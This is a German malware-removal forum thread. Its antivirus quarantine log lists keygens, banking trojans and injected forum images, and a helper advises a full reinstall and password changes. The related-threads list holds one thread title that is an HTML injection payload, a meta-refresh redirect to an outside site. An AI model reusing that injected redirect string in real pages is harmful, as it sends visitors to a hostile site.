P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\yim.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\delete_grey.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\edit_grey.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\edit_white.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\logout_white.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\new_topic.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\pm-archiv.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\pm-delete.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\pm-inbox.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\pm-newpm.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\pm-outbox.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\pm-reply.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\profile.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\quote.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\reply.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\start_search.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\post-alert.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\pm.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\nl\logout_grey.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\delete_grey.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\delete_white.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\edit_grey.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\edit_white.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\icq.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\new_topic.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\pm-archiv.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\pm-delete.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\pm-inbox.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\pm-newpm.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\pm-outbox.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\pm-reply.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\pm.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\post-alert.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\quote.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\start_search.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\www.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\delete_grey.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\edit_grey.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\icq.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\pm-inbox.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\pm-archiv.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\pm-delete.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\new_topic.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\pm-outbox.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\pm-reply.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\pm.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\post-alert.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\profile.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\quote.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\reply.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\start_search.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\profile.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\www.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\default\reply.gif	Quarantäne Attached PE/Script!E2
P:\Fertige Projekte zum Sichern\XXXX Homepage alt\nachfolge\typo3conf\ext\mm_forum\res\img\default\de\pm-newpm.gif	Quarantäne Attached PE/Script!E2
C:\downloads\Software\Macromedia\FWKeygen\kgfiremx.exe	Quarantäne Trojan.Win32.Keygen.AMN!E1
C:\downloads\Software\nero60\Nero.-.all.plugins.(mpeg-to-dvd,.mpeg-to-svcd,.wma,.ogg,.mp3pro,.mpeg4acc)www.eselfilme.de.rar -> Nero - all plugins (mpeg-to-dvd, mpeg-to-svcd, wma, ogg, mp3pro, MPEG4AAC)\MP4 AAC Plug-In for Nero Burning Rom v5.5.10.0 crack.exe	Quarantäne not-a-virus.patch.Nero!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\xxxxxx all Maps (including the new 675 Maps (build 1409))\test4.exe	Quarantäne Riskware.Keygen.xxxxxx!E2
C:\downloads\Tools\ACDsee\ACDSee.7.0.61.PowerPack.incl.Keygen-CORE.rar -> crack.exe	Quarantäne not-a-virus.Crack.ACDSee!E2
C:\downloads\Tools\FLV Converter\Setup59_FreeFlvConverter.exe	Quarantäne Trojan-Downloader.Win32.Banload!E2
C:\downloads\Tools\IBP\Internet.Business.Promoter.v9.0.3.Multilingual.Incl.Keymaker\ARELIS-Keygen.exe	Quarantäne Riskware.Keygen.arelis!E2
C:\downloads\Tools\IBP\IBP-Keygen.exe	Quarantäne Trojan-Spy.Win32.Banker.JU!E2
C:\downloads\Tools\IBP\Internet Business Promoter v4.1.5 Business Edition.rar -> IBP-Keygen.exe	Quarantäne Trojan-Spy.Win32.Banker.JU!E2
C:\downloads\Tools\IBP\Internet.Business.Promoter.v9.0.3.Multilingual.Incl.Keymaker\IBP-Keygen.exe	Quarantäne Trojan-Spy.Win32.Banker.JU!E2
C:\downloads\Tools\SiteXpert\Xtreeme SiteXpert [found via www.fileDonkey.com].zip -> Xtreeme SiteXpert\XtremeSiteXpert_6.0.2_ger.PATCH_MP2K.zip -> crack.exe	Quarantäne Trojan-PWS.SuspectCRC!E2
C:\downloads\Tools\SiteXpert\install\XtremeSiteXpert_6.0.2_ger.PATCH_MP2K.zip -> crack.exe	Quarantäne Trojan-PWS.SuspectCRC!E2
C:\downloads\Tools\Zonealarm\ZoneAlarm Pro 5.0\ZoneAlarm Pro v5.0\ror.part1.rar -> keygen.exe	Quarantäne not-a-virus.Keygen.ZoneAlarm!E2
C:\Mail-Sicherungen\Maileingang 2004_20110814-1137\Nachrichten\20041025-zip-203806507.eml -> NHL 2004 Keygen.zip -> NHL 2004 Keygen.exe	Quarantäne possible-Threat.Keygen.Razor!E2
C:\Mail-Sicherungen\Maileingang 2004_20110814-1137\Nachrichten\20041025-NHL-203942542.eml -> NHL 2004 Keygen.exe	Quarantäne possible-Threat.Keygen.Razor!E2
C:\Mail-Sicherungen\Maileingang 2006_20110814-1149\Nachrichten\20061123-Ihre Bestellung # 87551 von EUR 379.00 ist angenommen.-988890180.eml -> rechnung_87551.exe	Quarantäne Trojan-Downloader.Win32.Small!E2
C:\Mail-Sicherungen\Maileingang Kunden 2001_20110814-1148\Nachrichten\20010716-Strategie-Workshop-12838268.eml -> Strategie-Workshop 1.doc	Quarantäne Virus.MSWord.Sin.C!E2
C:\Program Files\Password-Finder\PWFinder.exe	Quarantäne Riskware.Hacktool.PWFinder!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> ES_and_PT_plus_major_roads_of_WE_v.675.1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> ES_and_PT_plus_major_roads_of_WE_v.675.1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices.rar -> xxxxxx_6_Keygens\BE_NL_and_LU_plus_major_roads_of_WE 1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\BE_NL_and_LU_plus_major_roads_of_WE 1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\DE_AT_and_CH_plus_major_roads_of_WE 1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\ES_and_PT_plus_major_roads_of_WE_v.675.1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\Hong_Kong_.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\PL_CZ_HU_SK_plus_major_roads_of_WE 1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\SE_DK_NO_and_FI_plus_major_roads_of_WE 1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\Singapore_.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\UK_and_IE_plus_major_roads_of_WE_v.675.1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\South_Africa_.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
C:\downloads\xxxxxx_6.75_Keygen_and_voices\xxxxxx_6_Keygens\Western_and_Central_Europe_V.675.1409.exe -> test4.exe	Quarantäne not-a-virus.Keygen.xxxxxx!E2
Key: hkey_local_machine\software\microsoft\windows\currentversion\uninstall\password-finder_is1	Quarantäne Trace.Registry.password-finder!E1
Value: hkey_classes_root\clsid\{1339b54c-3453-11d2-93b9-000000000000}\inprocserver32 --> threadingmodel	Quarantäne Trace.Registry.internet cleanup 5.0!E1
Value: hkey_local_machine\software\classes\clsid\{1339b54c-3453-11d2-93b9-000000000000}\inprocserver32 --> threadingmodel	Quarantäne Trace.Registry.internet cleanup 5.0!E1
c:\users\Max Mustermann\appdata\roaming\allume systems	Quarantäne Trace.File.internet cleanup 5.0!E1
c:\program files\password-finder	Quarantäne Trace.File.password-finder!E1

Quarantäne	203
         
Was mir gerade noch einfällt: Beim Starten meines Systems kommt seit einiger Zeit die Meldung dass der Run.dll-Hostprozess (oder so ähnlich) nicht ausgeführt werden kann. Kann das damit zusammenhängen?

Alt 26.08.2012, 01:23   #8
t'john
/// Helfer-Team
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner



Die Benutzung von Cracks und Keygens ist illegal und verstoesst gegen unseren Kodex.

Schon mal darueber nachgedacht, warum es Cracks gibt?
Mit Cracks & Co installiert man sich Hintertueren auf dem Rechner.
Kriminelle nutzen solche Rechner als Botnetz fuer ihre Machenschaften. Dein System ist als nicht vertrauenswuerdig einzustufen und du solltest keine sensiblen Sachen wie Homebanking an dem PC betreiben.

Anleitungen zum Neuaufsetzen (bebildert) > Windows 7 neu aufsetzen > Vista > XP

1. Datenrettung:



2. Formatieren, Windows neu instalieren:



3. PC absichern: http://www.trojaner-board.de/96344-a...-rechners.html
ich werde außerdem noch weitere punkte dazu posten.
4. alle Passwörter ändern!
5. nach PC Absicherung, die gesicherten Daten prüfen und falls sauber: zurückspielen.
__________________
Mfg, t'john
Das TB unterstützen

Alt 26.08.2012, 08:30   #9
scherli
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner



Okay, dann wird mir wohl tatsächlich nichts anderes übrig bleiben als den Rechner platt zu machen und alles neu zu installieren. Könnte mich schwarz ärgern, dass ich den alten Schrott über die letzten drei Rechner immer mit umgezogen habe ohne nachzudenken. Na ja, spätes Büßen für alte Jugendsünden...

Danke Dir in jedem Fall für Deinen Support. Ich werde das System anhand Deiner Anleitung neu aufsetzen.

Antwort

Themen zu Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner
administrator, ausspioniert, converter, escan, explorer, firefox, gelöscht, google, hilfreich, hook, iexplore.exe, kunde, lizenz, logfiles, malwarebytes, microsoft, newheur_pe virus, nicht möglich, pup.pantsoff.passwordfinder, ratlos, registry, registry cleaner, rogue.freeregistrycleanerforvista, scan, security, server, software, system, trojan:js/iframe.bt, trojaner, trojaner?, virus, vista




Ähnliche Themen: Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner


  1. unberechtigte Zugriffe von Unbekannt auf Online-Konten bei Versandhändlern; Verdacht auf "Ausspäh-Virus" auf Computer - Teil I-
    Plagegeister aller Art und deren Bekämpfung - 28.07.2015 (18)
  2. Windows7: Seiten springen auf Werbung um, Seiten nich zu öffnen oder schließen "Tr.Drop.Rotbrow.K.1 " und 8 weitere Viren in Quarantäne"
    Log-Analyse und Auswertung - 21.03.2015 (9)
  3. Diverse Malware ("CoolSaleCoupon", "ddownlloaditkeep", "omiga-plus", "SaveSense", "SaleItCoupon"); lahmer PC & viel Werbung!
    Plagegeister aller Art und deren Bekämpfung - 11.01.2015 (16)
  4. netwars Teil 5: "Die Industrie der Angst" auf heise online
    Nachrichten - 27.04.2014 (0)
  5. Entfernung >Schadcode: >c3284d....online-alles.net....< aus HTML Seiten
    Plagegeister aller Art und deren Bekämpfung - 25.11.2012 (5)
  6. Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 2: Laptop
    Plagegeister aller Art und deren Bekämpfung - 24.08.2012 (5)
  7. Malware-Code "online-alles.net" in HTML-Seiten - Trojaner?
    Plagegeister aller Art und deren Bekämpfung - 20.08.2012 (6)
  8. Links auf Antiviren Seiten werden mit Google 404 abgefangen, Online Banking Daten "gestohlen"
    Plagegeister aller Art und deren Bekämpfung - 04.07.2012 (2)
  9. "HEUR/HTML.Malware"-Fund von AVIRA
    Plagegeister aller Art und deren Bekämpfung - 21.04.2011 (12)
  10. Wie soll ich "HTML/Rce.gen" in "\Firefox\Profiles\p2hadvdz.default\Cache" entfernen?
    Plagegeister aller Art und deren Bekämpfung - 06.02.2011 (1)
  11. MBR reparieren, da mbr.exe "malicious code" und "copy of MBR" meldet
    Plagegeister aller Art und deren Bekämpfung - 28.11.2010 (24)
  12. Im Web "HTML/Crypted.Gen" gefunden -> gelöscht -> alles hinüber
    Log-Analyse und Auswertung - 07.12.2009 (2)
  13. "error cleaner" "privacy protector" "spyware&malware protection"
    Plagegeister aller Art und deren Bekämpfung - 28.06.2008 (7)
  14. "error cleaner" "privacy protector" "spyware und malware protection"
    Plagegeister aller Art und deren Bekämpfung - 28.06.2008 (2)
  15. "gutmütiger" Trojaner - online in "befreundeten" pc einloggen
    Alles rund um Windows - 19.10.2007 (5)
  16. ">"">><meta http-equiv="Refresh" content="0;url=http://askimizsonsuza.com/code/">"">
    Plagegeister aller Art und deren Bekämpfung - 04.09.2006 (4)

Zum Thema Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - So, ich poste jetzt nochmal aus dem alten Thema die Logs der beiden Rechner in jeweils eigenem Thread, damit niemand mit den Logs durcheinanderkommt. Bevor ich hier zum Einstieg auch - Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner...
Archiv
Du betrachtest: Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner auf Trojaner-Board

Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.